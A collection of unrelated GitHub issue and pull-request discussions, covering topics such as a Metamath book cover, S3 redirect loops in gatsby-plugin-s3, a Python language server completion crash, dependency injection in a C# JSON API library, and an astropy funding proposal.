@nmegill - what do you think about the example by @giomasce here?: Metamath logo with name.  Is that suitable for mugs, T-shirts, and other stuff?

@giomasce - just after I posted I took another look, and realized that the font you used is a serif font. I think sans serif looks much better on large headings like this; we don't need to help people's eyes track many words in a line in this context.  Would you mind making another version but with some Libre font that's sans serif?  Thanks/sorry!

I tried with Linux Biolinum: the result is here. It looks better to me indeed. I also moved the writing a bit closer to the aleh-zero. For the copyright, I accept to release to the Public Domain all of these, just like the first one. From my understanding of the OFL license for the Linux Libertine and Biolinum fonts, we don't have any other obligation, since we are using the font curves, but not distributing or modifying the font itself.

@giomasce - I think the new version with Linux Biolinum looks fantastic, and thanks for the release!
@nmegill - what do you think? Thumbs up?

@nmegill - what do you think? Thumbs up?

Yes, I like it.

@nmegill - Excellent! I see that you already posted it on the copyright page - thanks!

Back to the endless tweaking of the book cover :-).
I reduced the Metamath logo size by 10% (600units to 540 units), and rescaled Norm's head :-).
New book cover is here - this okay?:
https://dwheeler.com/misc/24804269_cover-4.pdf
I think we should not add a new citation to the first edition.  There's already a lengthy discussion of various changes to the book, and I fear that changing the book contents may cause me to have redo the cover :-(.   That would be no fun.  I'll redo the contents if there's a serious problem, but I don't think anyone will wonder what a "Second Edition" means.  There's a title change, but the title change is so slight that I think no one will care.  It's not like there are millions of Metamath books published before this one, and people might have trouble figuring out which one we meant.

The new cover is good.
I agree that a citation to the first edition is probably unnecessary.  I don't recall seeing that in other books, although maybe I didn't pay attention to it.  Sometimes it is mentioned in the Preface, or there will be a "Preface to the Second Edition."
...
There is one little nit that has occurred to me.  The book's development of set theory never gets as far as cardinal numbers (which is OK), and the book doesn't even have the word "aleph". so the symbol on the cover might be a mystery to non-mathematicians who might wonder if it's some sort of cult symbol. :)
If we do have to modify the text yet again,  perhaps we should also add (suggest bottom of 2nd page), maybe in italics,
Cover:   Aleph null ($\aleph_0$) is the symbol for the first infinite
cardinal number, discovered by Georg Cantor in 1873.

Page 2 (copyright page) is a good place for it.  We'll need to move your name up to ensure that it all stays on one page.  I think we can make this new text not centered.
However, if we're going to mention the cover image, we should also mention why, and credit the logo's creators (as requested on the Copyright page).
Proposed new version:

Cover:   Aleph null ($\aleph_0$) is the symbol for the first infinite
cardinal number, discovered by Georg Cantor in 1873.
We use a red aleph null (with black outline and gold glow) as the Metamath logo.
Credit: N. Megill (1994) and G. Mascellani (2019), public domain.

If we add that, we probably need to add some index entries. E.g.:
{aleph null} {infinite cardinal number, first} {Metamath logo}, {Cantor, Georg}, {Mascellani, G.}

It seems a little obsessive with detail but OK.  The outline isn't black but dark grey; maybe say "dark outline" instead of "black outline".

It took 26,323 steps to prove that 2+2=4.  Being obsessed with detail is practically a prerequisite around here :-).

I added the information about the cover in PR #211.  Since I'm changing the book anyway, I slipped in a mention about the term "Second edition" and the former book title.
I'm hoping that's enough.
Is it all okay?  Are we done? (I'd like to be done :-) ).

Book cover is done. I'm closing this issue.


Suport a custom Content-Type in requests.

Some operations using spring hateoas need to use Content-Type text/uri-list  to associate links between entities. Check this url:
http://blog.codeleak.pl/2014/10/exposing-spring-data-repositories-over-rest.html

This functionality already got solved in another pull request.


fix issue with infinite redirects

Hello @jariz!
First of all - amazing plugin! Was really happy to find it out especially since I need proper redirects for SEO. Thanks for your work on it 😃
The problem
It seems that the current implementation for the routing rules for redirects done with createRedirect result in infinite redirect loops. Consider following example
createPage({
  path: '/list/1'
  // ...other parameters
})

createRedirect({
  fromPath: '/list',
  toPath: '/list/1',
  isPermanent: true,
  redirectInBrowser: true
})

Now if we use curl to see how redirects work we will see the following
$ curl -I https://example.com/list
HTTP/2 301
content-length: 0
location: https://example.com/list/1/

$ curl -I https://example.com/list/1/
HTTP/2 301
content-length: 0
location: https://example.com/list/1/1/

....

If you try to open the https://example.com/list url directly in the browser (not from the link on the opened frontend) then you'll get an error and https://example.com/list/1/1/1/1/1/1/1/1/1/1/1/... in your browser address bar.
It seems that this is happening because we don't put HttpErrorCodeReturnedEquals: '404' for redirects.
The solution
For our porject I've needed to do a hotfix while waiting for your response. That's why I am creating a PR here and not an issue.
Basically my change make it so that for exact redirects we will use HttpErrorCodeReturnedEquals: '404' and ReplaceKeyWith. For redirects with * (not sure if these are allowed in Gatsby) we will not use HttpErrorCodeReturnedEquals: '404' and use ReplaceKeyPrefixWith.
I am no expert in AWS nor in Gatsby. So I might have misunderstood the documentations terribly wrong and it is actually my mistake not a bug in the plugin. If so can you, please, guide me to the right solution?

@gyzerok
So, a couple problems I found by deploying the examples/with-redirects project from this branch:

rewrites are now infinite redirecting instead 😅

$ curl -I -L http://gatsby-plugin-s3-dev.s3-website-eu-west-1.amazonaws.com/client-only/test

HTTP/1.1 302 Moved Temporarily
Location: http://gatsby-plugin-s3-dev.s3-website-eu-west-1.amazonaws.com/client-only/test

HTTP/1.1 302 Moved Temporarily
Location: http://gatsby-plugin-s3-dev.s3-website-eu-west-1.amazonaws.com/client-only/test

...etc...

The root redirect does not appear to work anymore, index.html does not get the WebsiteRedirectLocation metadata key applied to it anymore for some reason.
https://github.com/jariz/gatsby-plugin-s3/blob/master/src/gatsby-node.ts#L57-L77

Would be really nice if you could fix these 2 problems because I just ran into a similar infinite redirect issue as you were having, and this branch does seem to fix that problem, so I'd really like to get this merged.

@jariz
To be honest I was not sure what rewrites are at all. And was unable to find explanation in the Gatsby docs. So if you can point me to an explanation it will help me to understand better what the hell am I doing.
It seems that we need 404 code in rewrites as well. You had it before and I added it now as well in the last commit.
Currently my problem is - I do not have any opportunity to test this. I am not familiar with AWS and previously there was a person next to me helping with original PR. Do you have some bucket you are using for tests? Can you create some credentials for me with which I can try deployments and test my PR? Or maybe we could just write some CI script which would deploy examples and then check with curl the redirects?

Of course you can check branch with my last commit now and if everything is good merge it. However it'd be nice anyway to have some automated tests in the repo :)

@gyzerok Nope, still the same problems.
Client rewrites are client only routes, as the name might suggest, they only exist in the client application.
The do not correspond to a file on the serverside, so if you refresh, you would get a 404 without any redirects in place.
Therefore, any request that is prefixed with the client only route, should redirect to the index of the client only route.
Anyway, I'll take a look at it myself this week.
Might even fix #30 along with it.

@jariz how much time would it take for you to set up the CI for you? I think for the testing and redirect checks we could use just bash with curl. It seems that I might also need the rewrites to work very soon. And I am happy to try to finish up my PR, just need a way of testing it.

Hi @gyzerok, I've committed the tests to your branch.
I'm still figuring out how to do things on an actual CI (security is kind of a problem that I still need to figure out, because anyone can theoretically make a pull request and have full S3 access to my personal account 🙃)
So for now, you'll have to run it manually on your local machine instead with a valid AWS access token configured.
Ensure you have npm run develop running, and repeat the following everytime you want to run a test:
from cd examples/with-redirects
npm run build && npm run deploy

from the project root:
TESTING_ENDPOINT=http://replace-me-please.s3-website-eu-west-1.amazonaws.com/ npm t

Don't forget to change the bucketname to something more unique in the with-redirects project and update the TESTING_ENDPOINT var along with it.

@jariz
Why root redirect isn't working is a mystery to me. I literally changed nothing in my PR which affects that logic. However I was able to fix rewrites.
Even if I comment out all the redirects the root one doesn't work. I suspect that something within the dependencies have changed, but not sure.
One thing I discovered along the way is that doing rewrites with redirects might be a wrong thing. Consider following example:
Let's imagine in our gatsby project we have user pages /user/:id. We can't generate them statically, because we fetch user at the runtime. And we don't know which ids exist in the compile time. If I understand correctly this is exactly the use case for rewrites.
So what we do instead - we have client only paths /user/*, which we are planning to resolve using client routing. In this case what we actually want is to return html of /user page for any request to /user/:id with status 200. However if we redirect from /user/:id to /user we gotta loose this :id url parameter and won't be able to fetch the user we want. On the contrary if we straight away return html, then client routing will kick in and render proper route with param in it.
In your example with /client-only/secret when you go straight to the url you gonna loose /secret in it. This is how it was working before and I fixed it to work the same way. However I think that it's not an expected behavior.
Thoughts?

The point of client rewrites is to ensure that when people refresh from a client only route, they are not greeted with a 404. Yes, everything after the client-only prefix will be lost, but that's better than a 404.
You make a good point about returning HTML instead, and if that was an option, I'd say go for it, but with S3 website hosting alone that really can't be accomplished as far as I know.
A better example of client only routes would be a /my-account/ page, with options like a shopping cart and a user settings page: each of these differ for every user, so there's no point of them existing at all on the server side. /my-account/ will just show a (statically rendered) login page, and everything prefixed by it requires a login to function.
Regarding the index redirect, maybe it got unknowingly broken in an earlier commit before your work.
Good thing we have tests now I guess 😛
I'll take a look at it.

Yeah, I was expecting this reasoning from you about client rewrites, but wasn't sure. That's why decided to check explicitly. Anyway I fixed this one to work.
Also, please notice that I fixed tests a little bit. Now TESTING_ENDPOINT should not include the trailing slash. I've thought that makes a bit more sense.
I will leave the root url for you to figure out then :)

Do you think btw we can merge the PR currently? Or is root redirect something that you use yourself? I am moving to release in my project and would love to switch back to the npm distribution.

all green 😄

🎉

released @ 0.2.4 on npm


Adding parameters for BENEVE VR5 headset with integrated display

BENEVE VR5 is a headset with an integrated display.  Got requirement from a customer to support this VR headset.  Have tested the accuracy on the headset using a test program here : https://devasur.github.io/vrtest/basic/  (updated the local dbdb.json withing polyfill).
Request adding to the database.

Thanks for this! This is failing some tests we have for the mdmh value (check out format of others), and for having a resolution on an Android device parameter which is usually unnecessary and only used for iOS devices, but could still be useful in this case -- for example, are there devices that would match the provided UA string but have a different resolution? Otherwise, it may be safer to just remove that. If it's necessary, I can relax the testing rules as new devices may break previous assumptions about data.
Thanks!

Thanks for reviewing.  I have made corrections.  Removed the res rules also.


Closes #22 and begins to address #23.

I like the idea of spinning out the method to determine the ID, but I think it would be better to inject a property into the constructor than to be using a singleton. Could make ModelManager implement IModelManager and inject IModelManager into the constructor. That way the user can provide their own IModelManager (say they have some weird method for resolving the ID property). This is what I'm doing with IErrorSerializer, though in that case it's not publicly accessible yet.

Okay, I partly follow...Inject a IModelManager into which constructor, and who does the injecting and how? What I like about the singleton solution is that the entry point takes care of itself--if it doesn't need custom behavior, user burden is zero.
I also had thought of a way to allow folks to substitute their own ModelManager subclass (let them either specify a Type to instantiate or an instance to use instead, and have the Instance property return that instead), but what you're suggesting would work too--I just am missing the details I think.

This is what I was getting at:
public class JsonApiFormatter
{
    public JsonApiFormatter() : this(new ErrorSerializer(), new ModelManager())
    {
    }

    public JsonApiFormatter(IErrorSerializer errorSerializer, IModelManager modelManager)
    {
        this.ErrorSerializer = errorSerializer;
        this.ModelManager = modelManager;
    }

    public IErrorSerializer ErrorSerializer { get; set; }
    public IModelManager ModelManager { get; set; }
...
}

I think this is a more intuitive, testable, and IoC-friendly approach. User burden is still zero if they don't want to customize the behavior. You can either use the second constructor, or use the first one and override the values after construction.
The only difference between our solutions is that if you as the user are doing something like supplying a new formatter instance every request, it's up to you to provide a single long-lived IModelManager. I suspect that this is pretty rare, and users that are doing this are probably aware of the state implications of what they are doing - especially if we mention this in the readme. But if you're still concerned about it, I suppose the default constructor could use ModelManager.Instance instead of new ModelManager().

Okay, I get it. It's essentially exactly what I did with IPluralizationService. You're right about it being more testable. No, I'm not terribly worried about a user (deliberately) doing something weird that would make the JsonApiFormatter short-lived--though I was thinking before that it might be recycled by the system, or thread-local or something...but looking at it again that really can't be the case, there must be only one in the application when you put it in WebApiConfig.Register...so using it as the cache location (indirectly) is fine.
However, on the other hand, if we make the PluralizationService belong to the IModelManager as you suggested, now the user does have to mess with ModelManager and use the non-default constructor for JsonApiFormatter--at least currently because we expect them to specify a PluralizationService. Hmm... Make the interface for setting the PluralizationService remain the same, but have the setter and getter just proxy the object to the ModelManager object? That's probably no good if we let the user set the ModelManager via a property as well--it would break the connection. Thoughts?

I think in this case, since the IPluralizationService is much more likely to be overridden than IErrorSerializer or IModelManager, we add a third constructor with just an IPluralizationService parameter, like so:
    public JsonApiFormatter(IPluralizationService pluralizationService)
        : this(new ErrorSerializer(), new ModelManager(pluralizationService))
    {
    }

Then we remove the public PluralizationService property. I'm generally a bigger fan of constructor injection than property injection, and this scenario is one of the reasons why. The drawback is you wind up with constructors with large number of parameters, but this can be overcome by replacing them all with a single aggregate parameter. If we get to that stage in this project it might look something like the following:
public class JsonApiFormatter
{
    private readonly IModelManager _modelManager;
    private readonly IErrorSerializer _errorSerializer;

    public JsonApiFormatter(IPluralizationService pluralizationService)
        : this(new JsonApiConfiguration(pluralizationService))
    {
    }

    public JsonApiFormatter(IJsonApiConfiguration configuration)
    {
        _modelManager = configuration.ModelManager;
        _errorSerializer = configuration.ErrorSerializer;
    }
}

public interface IJsonApiConfiguration
{
    IModelManager ModelManager { get; }
    IErrorSerializer ErrorSerializer { get; }
}

public class JsonApiConfiguration : IJsonApiConfiguration
{
    private readonly IPluralizationService _pluralizationService;

    public JsonApiConfiguration(IPluralizationService pluralizationService)
    {
        _pluralizationService = pluralizationService;
    }

    public IModelManager ModelManager
    {
        get
        {
            return new ModelManager(_pluralizationService);
        }
    }

    public IErrorSerializer ErrorSerializer
    {
        get
        {
            return new ErrorSerializer();
        }
    }
}

Yeah, I see what you're saying. Aesthetically, I'm not a fan of cephalopod constructors...but on the other hand these really should be immutable choices, so property injection is a poor fit. Function over form I suppose. I'll rework this this morning, shouldn't take long. I'll have to update all three pull requests though...still learning the git workflow, not sure if this was the best way to do this one.


Fix summary for stopping chaotic event

Description
Fix summary for stopping chaotic event
Checklist for success

[X] This change isn't already implemented by a pending pull request
[X] All tests pass locally (see the testing section for more info)
[X] All New behaviors or major functional changes have tests

Hey @tomkerkhove thanks for this! looks like we have a package-lock configuration issue at this point, sorry for that. I'll resolve that ASAP and we'll get this in. Thanks again! 💯

Package-lock has been updated. Merge master and you should have a working build 👍


CASMINST-4357

Summary and Scope
Backports a fix for the skew check test that retries the test a few times before failing.
Issues and Related PRs

Resolves CASMINST-4357 (for 1.0.11)
Merge after #259

Testing
Tested on:

#surtur

Test description:
...
...

Total Tests: 51, Total Passed: 51, Total Failed: 0, Total Execution Time: 58.6371 seconds
surtur-ncn-m001-pit:/var/www/ephemeral/jsalmela #

Risks and Mitigations
Low.
Pull Request Checklist

[x] Version number(s) incremented, if applicable
[ ] Copyrights updated
[x] License file intact
[x] Target branch correct
[ ] CHANGELOG.md updated
[ ] Testing is appropriate and complete, if applicable
[ ] HPC Product Announcement prepared, if applicable

Gating 1.0.11


Completions stop working after server error.

In some situations an completions request seems to get out of sync with the document, which triggers the following server error.
LSP: Got error from server:  {'message': 'Server error', 'code': -32000, 'data': {'message': '`column` parameter is not in a valid range.', 'type': 'ValueError', 'args': ['`column` parameter is not in a valid range.']}}

This error causes completions to stop working at all. LSP no longer requests completions. With log_debug: true the the only visible telegram to the server is
LSP: notify: textDocument/didChange

The only way to restore from that state is to restart ST. Neither reloading the plugin nor forcing the python-language-server down to get it restarted works.
Log before/without error:
LSP: notify: textDocument/didChange
LSP: request 3: textDocument/completion
LSP: got json:  {"result":{"isIncomplete":false,"items":[{"label":"set","kind":7,"detail":"class set","documentation":"set() -> new empty set object\nset(iterable) -> new set object\n\nBuild an unordered collection o ...
LSP: got json:  {"method":"textDocument/publishDiagnostics","params":{"uri":"file:///C:/Apps/Sublime/Data/Packages/GitGutter/modules/compare.py","diagnostics":[{"source":"pyflakes","range":{"start":{"line":137,"chara ...

Might be worth checking if #134 is related.
This column parameter is not in a valid range. error has been happening with pyls for a while.
A pyls build that traps this error and logs the document content might be helpful.

The most efficient way to reproduce this issue in my case was right after starting ST. If I start working too quickly, I can crash the server for sure. During this period, ST's plugin_host is still quite busy with several background tasks. I enabled debug logging on both pyls and LSP with following results.
What I did to get it fail for sure was (I know it might not be a common use case 😉 ):

Start ST
quickly after startup start typing sublime. and delete it several times.

LSP log
LSP: global clients:  ['pyls=True']
LSP: no clients found for window 2
LSP: no clients found for window 2
LSP: starting in C:\Apps\Sublime\Data\Packages
LSP: starting ['pyls', '-v', '--log-file', 'c:/data/pyls.log']
LSP: request 1: initialize
LSP: client registered for window 2 {'pyls': <LSP.main.Client object at 0x00000196F416A1D0>}
reloading plugin Exalt.impl.plugin
reloading plugin Exalt.impl.validator
reloading plugin Exalt.impl.formatter
LSP: request 2: textDocument/completion
LSP: got json:  {"result":{"capabilities":{"codeActionProvider":true,"codeLensProvider":{"resolveProvider":false},"completionProvider":{"resolveProvider":false,"triggerCharacters":["."]},"documentFormattingProvider": ...
LSP: notify: initialized

***
A File Icon: Please restart Sublime Text for the applied icons to take effect ...
***

indexing [job 2]: no files were indexed out of the 2 queued, abandoning crawl
LSP: notify: textDocument/didOpen
LSP: got json:  {"error":{"code":-32000,"message":"Server error","data":{"type":"KeyError","args":["file:///C:/Apps/Sublime/Data/Packages/LSP/main.py"],"message":"'file:///C:/Apps/Sublime/Data/Packages/LSP/main.py'"} ...
LSP: Got error from server:  {'code': -32000, 'message': 'Server error', 'data': {'message': "'file:///C:/Apps/Sublime/Data/Packages/LSP/main.py'", 'args': ['file:///C:/Apps/Sublime/Data/Packages/LSP/main.py'], 'type': 'KeyError'}}
LSP: got json:  {"method":"textDocument/publishDiagnostics","params":{"uri":"file:///C:/Apps/Sublime/Data/Packages/LSP/main.py","diagnostics":[{"source":"mypy","range":{"start":{"line":2541,"character":9},"end":{"lin ...
LSP: notify: textDocument/didChange
LSP: got json:  {"method":"textDocument/publishDiagnostics","params":{"uri":"file:///C:/Apps/Sublime/Data/Packages/LSP/main.py","diagnostics":[{"source":"mypy","range":{"start":{"line":2541,"character":9},"end":{"lin ...
LSP: notify: textDocument/didChange
LSP: notify: textDocument/didChange
LSP: got json:  {"method":"textDocument/publishDiagnostics","params":{"uri":"file:///C:/Apps/Sublime/Data/Packages/LSP/main.py","diagnostics":[{"source":"mypy","range":{"start":{"line":2541,"character":0},"end":{"lin ...
LSP: got json:  {"method":"textDocument/publishDiagnostics","params":{"uri":"file:///C:/Apps/Sublime/Data/Packages/LSP/main.py","diagnostics":[{"source":"mypy","range":{"start":{"line":2541,"character":9},"end":{"lin ...

pyls.log
2017-10-02 21:18:55,264 UTC - INFO - pyls.language_server - Starting PythonLanguageServer IO language server
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin jedi_completion from <module 'pyls.plugins.completion' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\completion.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin jedi_definition from <module 'pyls.plugins.definition' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\definition.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin jedi_hover from <module 'pyls.plugins.hover' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\hover.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin jedi_references from <module 'pyls.plugins.references' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\references.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin jedi_signature_help from <module 'pyls.plugins.signature' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\signature.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin jedi_symbols from <module 'pyls.plugins.symbols' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\symbols.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin mccabe from <module 'pyls.plugins.mccabe_lint' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\mccabe_lint.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin pycodestyle from <module 'pyls.plugins.pycodestyle_lint' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\pycodestyle_lint.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin pydocstyle from <module 'pyls.plugins.pydocstyle_lint' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\pydocstyle_lint.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin pyflakes from <module 'pyls.plugins.pyflakes_lint' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\pyflakes_lint.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin yapf from <module 'pyls.plugins.format' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\format.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Loaded pyls plugin pyls_mypy from <module 'pyls_mypy.plugin' from 'c:\\apps\\python36\\lib\\site-packages\\pyls_mypy\\plugin.py'>
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Updated settings to {'plugins': {'pydocstyle': {'enabled': False}}}
2017-10-02 21:18:55,529 UTC - INFO - pyls.config - Disabled plugins: [<module 'pyls.plugins.pydocstyle_lint' from 'c:\\apps\\python36\\lib\\site-packages\\pyls\\plugins\\pydocstyle_lint.py'>]
2017-10-02 21:18:55,670 UTC - ERROR - pyls.language_server - CAUGHT
Traceback (most recent call last):
  File "c:\apps\python36\lib\site-packages\pyls\language_server.py", line 66, in wrapped
    return func(*args, **kwargs)
  File "c:\apps\python36\lib\site-packages\pyls\python_ls.py", line 125, in m_text_document__completion
    return self.completions(textDocument['uri'], position)
  File "c:\apps\python36\lib\site-packages\pyls\python_ls.py", line 59, in completions
    completions = self._hook('pyls_completions', doc_uri, position=position)
  File "c:\apps\python36\lib\site-packages\pyls\python_ls.py", line 18, in _hook
    doc = self.workspace.get_document(doc_uri) if doc_uri else None
  File "c:\apps\python36\lib\site-packages\pyls\workspace.py", line 48, in get_document
    return self._docs[doc_uri]
KeyError: 'file:///C:/Apps/Sublime/Data/Packages/LSP/main.py'
2017-10-02 21:18:55,685 UTC - ERROR - jsonrpc.manager - API Exception: {'type': 'KeyError', 'args': ('file:///C:/Apps/Sublime/Data/Packages/LSP/main.py',), 'message': "'file:///C:/Apps/Sublime/Data/Packages/LSP/main.py'"}
Traceback (most recent call last):
  File "c:\apps\python36\lib\site-packages\jsonrpc\manager.py", line 108, in _get_responses
    result = method(*request.args, **request.kwargs)
  File "c:\apps\python36\lib\site-packages\pyls\language_server.py", line 66, in wrapped
    return func(*args, **kwargs)
  File "c:\apps\python36\lib\site-packages\pyls\python_ls.py", line 125, in m_text_document__completion
    return self.completions(textDocument['uri'], position)
  File "c:\apps\python36\lib\site-packages\pyls\python_ls.py", line 59, in completions
    completions = self._hook('pyls_completions', doc_uri, position=position)
  File "c:\apps\python36\lib\site-packages\pyls\python_ls.py", line 18, in _hook
    doc = self.workspace.get_document(doc_uri) if doc_uri else None
  File "c:\apps\python36\lib\site-packages\pyls\workspace.py", line 48, in get_document
    return self._docs[doc_uri]
KeyError: 'file:///C:/Apps/Sublime/Data/Packages/LSP/main.py'
2017-10-02 21:18:57,607 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:8 W292 no newline at end of file
2017-10-02 21:18:57,607 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:0 E305 expected 2 blank lines after class or function definition, found 0
2017-10-02 21:19:05,576 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:8 W292 no newline at end of file
2017-10-02 21:19:05,576 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:0 E305 expected 2 blank lines after class or function definition, found 0
2017-10-02 21:19:09,311 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:8 W292 no newline at end of file
2017-10-02 21:19:09,311 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:0 E305 expected 2 blank lines after class or function definition, found 0
2017-10-02 21:19:09,811 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:8 W292 no newline at end of file
2017-10-02 21:19:09,811 UTC - INFO - pyls.plugins.pycodestyle_lint - Got pycodestyle error at 2542:0 E305 expected 2 blank lines after class or function definition, found 0

It looks like the first textDocument/completion is sent before textDocument/didOpen which seems to confuse pyls.
Do you have some kind of state machine, which is meant to ensure textDocument/didOpen is sent first?

Maybe related to 131 as well or even duplicate?

Likely caused by #134 (didChange sent too late) which is now fixed

Still seeing this


Make PointInCell regridding scheme public (#2732)

Addresses issue #2732
Moved the PointInCell regridder and associated code from  iris/experimental to the core of Iris (in this case to iris/analysis) in order to make the PointInCell regridding scheme public.
Moved associated tests across from iris/tests/experimental to iris/tests/unit/analysis
Added an exception to raise to users when they attempt to use the PointInCell functionality that has been migrated from experimental to the core of Iris.
Added a whatsnew file to briefly describe the changes

Great job! Thanks @alastair-gemmell!
I just have a couple of minor comments but otherwise this should be good to go +1

Thanks @lbdreyer - well spotted points. I've made these changes now and Travis seems happy.

Thanks for the changes @alastair-gemmell! This looks ready to go in :)


(UI) Pressed the image, The OnPointerDown will be call many times

Environment

Source of VRTK (Github)
Version of VRTK  (Github master bcaa719802ce7e16af2724e8c7b2c340e461c0b3)
Version of Unity3D (Unity 5.5.0f3)
Hardware used (Vive)
SDK used (SteamVR)

Steps to reproduce
Use 034_Controls_InteractingWithUnityUI scene to reappear the problem.
1.Modify the "VRTK_UIPointer" script of RightController as follow picture

2.
i)Create a Image game object on ExampleObjects/Canvas/Button.
ii) Remove the "Button" component of ExampleObjects/Canvas/Button.
iii) attach PointerEventTest  script to  ExampleObjects/Canvas/Button game object and run.
public class PointerEventTest : MonoBehaviour, IPointerDownHandler, IPointerUpHandler
{
public void OnPointerDown(PointerEventData eventData)
{
Debug.LogWarning("----- OnPointerDown enter");
}
public void OnPointerUp(PointerEventData eventData)
{
    Debug.LogWarning("----- OnPointerUp enter");
}

}
iv) Pressed the ExampleObjects/Canvas/Button game object, hold on .
It will print "----- OnPointerDown enter" more than one times.
I think it is a bug.

I can recreate it, but what's the purpose of the set up?
You have an image that you want to listen to the pointer up/down events on?

Ok you can fix the issue you're getting by adding an EventTrigger component to your Button script.
I'm guessing without that EventTrigger the UI Element cannot determine it's event state.
I'm going to assume this isn't a VRTK bug now but a Unity restriction (unless someone can clarify better)

This may be an issue because we don't handle the selection state correctly in our own VR input module. We can't do it properly, though, because that would break VR-and-desktop-UI-usage AFAIK. (Unity's EventSystem is made for one active input module at a time. 😟)

Is it fair to say you need to add an EventTrigger to a UI element for it to work (as it seems to fix the issue)

The Unity docs tell us:

NOTE: Attaching this component to a GameObject will make that object intercept ALL events, and no events will propagate to parent objects.

😞

But in the original issue, the button is being edited so it is no longer a button and just an image.
Without the EventTrigger being added to the image, then it will bubble every event (which is what's causing the issue).
The Image example in the UI Example scene adds the EventTrigger to make sure the image can capture events.


Phase 3 funding: Research Software Engineer: User and Developer Support

This is a WIP/draft funding request to create a new 50% FTE appointment position to take on work that was previously started by the SOSS position.

Because the estimated total of all the proposals is a bit higher than the amount available for allocation, we suggest that you (@adrn ) provide a budget range - i.e., a "minimum for this project to be viable" and "maximum you could use effectively for this project".

I think this proposal would benefit from a little more detail what we want that person to do. As written, it's pretty generic, but also pretty expensive. I understand that there is a lot to do, but for that kind of money if would be helpful to have a few well-defined goals in addition to "and what comes up". One problem with the SOSS position has been that it's hard to measure the impact, i.e. as a developer I'm not quite sure if or what that SOSS position did to make my live easier, as a community member I don't know if the SOSS position brought in new people.
Of course, those things are hard to measure in numeric metrics, but at least it would be helpful identify where the main pain points are that we want to address, e.g.:

Split developer docs into "new to astropy and open source" (trying to avoid writing new content that needs to be maintained, instead linking to external docs where possible), "how to submit an issue and PR" (for users of astropy who are open to become contributors), and "docs for devs" (all the detailed stuff like the style guide, tox setup).
Hold hands for 1 new contributor per month (because docs only help so far, in the end people really need an benefit form 1-on-1 interaction on GH issues/PRs or discourse). This new role can't do that for every PR, but can do it occasionally for two reasons: See what the pain points for contributors are and create threads that we can point people to ("see, we try to help new contributors, although we don't have full time staff to do that every time)
ideas from the infrastructure group or things that can be automated or improved? (If such points exist, maybe @pllim you can copy and paste a few ides from the infrastructure telecon notes?)

On your first point, I think this is too specific for the funding request. IMO the funding request should only give examples of potential projects without too much implementation detail -- I feel that the purpose of this request is that the community + infrastructure teams can identify and prioritize needs, and the RSE would propose implementations to ameliorate these needs. I'll add some more text along these lines.

Please react to this comment to vote on this proposal (👍, 👎, or no reaction for +0)

TBH I feel like at least from my end, I didn't get as much out of the last one as I thought I would.

@pllim What do you mean "the last one"? I imagine this is being quite different from the SOSS position, if that's what you're referring to -- I see the RSE as working independently on discrete projects and deliverables, vs. providing continuous support. I tried to add some text about the distinction in the latest version of the funding request but let me know if it's still unclear!

Given the lack of interest and that this is an expensive proposal, I would like to withdraw this to make sure other proposals receive as much funding as they can.

Re: https://github.com/astropy/astropy-project/pull/277#issuecomment-1582392862
I don't see the update pushed here. Or should we close this and you open a new PR?

I may have forgotton to push. Will do.

Draft job ad in the format for the NumFOCUS job board: https://docs.google.com/document/d/1thc5KzjRoDqyp1uoaWmnm_ahG7pYnDhQjeUxEpvv_wc/edit?usp=sharing

@pllim I've added and entirely new section on the responsibilities and time management of the manager. Please let me know if you think this is sufficient or needs more details.
However, one lesson I take form this back-and-forth to this point is that it is very hard to have a short, not so formal process for funding. I note that the current length of this file if far beyond the limit that the finance committee set for proposals in a normal round. That's OK, we're not in a normal round and don't have to follow these rules plus this is a pretty expensive project that warrants more scrutiny - but the limit of xx lines of text was set explicitly to keep things simple and avoid spending too much time on polishing sections on management and time keeping and instead spend that effort on enhancing astropy. We should review next year if that works or if we need to require more detail, in particular on the organization side, as requested by @pllim here, which would correspondingly increase the effort needed to ask for funding.

Final votes from CoCo on the revised proposal as of 2023-07-31
Three approving (some conditionally), which is >50% of the CoCo, so on Monday (2023-07-31), @hamogu will get started on posting the job ad, inform astropy-dev, and get paperwork started at MIT.

This could be another well-defined standalone problem that this RSE could potentially solve:

https://github.com/astropy/astropy/issues/9960

Apologies, we (the finance committee) failed to follow through on actually accepting this, as we had meant to do and communicated to the proposers but not in this PR itself.  I will merge this now and make a new tracking issue for the accepted FR.


For the 'minimal' stdlib, disable Objective-C interop

@swift-ci please test

@swift-ci please test Windows platform

